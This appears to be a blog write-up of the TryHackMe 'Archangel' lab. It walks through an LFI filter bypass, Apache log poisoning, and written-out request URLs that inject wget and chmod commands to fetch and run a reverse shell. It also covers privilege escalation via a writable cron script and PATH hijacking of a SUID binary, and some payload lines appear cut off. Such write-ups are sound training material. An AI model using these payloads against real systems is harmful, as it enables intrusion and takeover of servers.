THM Writeup: Archangel

I suddenly noticed when visiting Try Hack Me that a new machine was published: Archangel. There were only a handful of people who had already cleared it, so I decided to have a go. Managed to hit the top 10 scoreboard!

You can find the room here:

Getting a shell

# Find a different hostname

After doing a simple port scan, a webserver was found on port 80. The support e-mail clearly shows another hostname. Maybe this should be added to the /etc/hosts file 😉 ? Remember to use VIM when editing the file! *cough* especially Mr Digital Brekke *cough*

# Find flag 1

Great! After visiting http://mafialive.thm, the first flag was found.

# Look for a page under development

Running dirbuster against the targeted website reveals test.php and robots.txt. The robots.txt disallows /test.php.

The test.php page is under development. Clicking the button shows that the view parameter is getting the contents of the mrrobot.php file. Is there a LFI vulnerability here…?

# Find flag 2

Using a simple PHP base64 filter allows the attacker to read the test.php source code. The contents might reveal something interesting, such as a flag or even LFI filters – since a simple /etc/passwd request was not allowed by the application.

Decoding the base64 output from the web application shows another flag. However, it also confirms that there are filtering regarding the LFI vulnerability. Is there any way that this can be avoided?

# Get a shell and find the user flag

The LFI filtering works based on the contents of the URL. If the URL contains the string /var/www/html/development_testing and does not contain any LFI exploit attempts related to ../.. – the filter will not trigger.





However, this restriction method is entirely based on a two strings, which is the full path of the development_testing directory and ../... If the full directory path is included, but the actual LFI payload does not match ../.., it is possible to exploit this vulnerability.



The payload above does not match the ../.. filter, and the attacker can successfully read internal files on the system. As the page is PHP, log poisioning might be the way to go. Last year i wrote an article regarding going from a LFI to a full meterpreter shell. You can read it here. The same exact technique can be used to leverage the LFI vulnerability to a reverse shell.

As the access.log file can be read, it can be injected with malicious PHP code and leverage the vulnerability from reading files to full a reverse shell.

Burp Suite can intercept the request sent to the webserver. By injecting a simple PHP command shell, an attacker can execute system commands.




The next step is to execute a reverse shell on the targeted system. This can be done using, for example, wget to download the shell and execute it.


http://mafialive.thm/test.php?view=/var/www/html/development_testing//////..///////..////..//////..///////..////..//////..///////..////..//////..///////..////..//////var/log/apache2/access.log&toxic=wget -O /tmp/


The server successfully grabbed the reverse shell and put it into the /tmp directory. The next step is to execute the payload. This could, however, be done in a one-liner if necessary. For the sake of this walkthrough, a step-by-step guide is provided instead.


mafialive.thm/test.php?view=/var/www/html/development_testing//////..///////..////..//////..///////..////..//////..///////..////..//////..///////..////..//////var/log/apache2/access.log&toxic=chmod 777 /tmp/; /tmp/


The reverse shell successfully connected back to the attacking machine, and the user.txt flag was located in the home directory.

Privilege escalation

# Get User 2 flag 

Enumerating the system shows a scheduled crontab for the user archangel. The script is executed on a regular basis as the user. The file permission for is set to 777. Injecting our own code into the script could give the attacker a reverse shell as the user archangel.

Once again, the reverse shell connected back to the attacking machine on port 80.

# Root the machine and find the root flag

A backup binary with the SUID flag set is located in the secret directory. In practice, the backup binary executes as root. It is also noticed that the binary attempts to use the copy command – cp. As the copy command is being executed in the user’s path, it can be misused to execute another binary instead, such as /bin/bash. This can be conducted by modifying the user’s path variable.

By “tricking” the backup binary into executing /bin/bash instead of cp leveraged the attacker’s privileges from user to root. Path variables can be a scary thing 😉

Game over!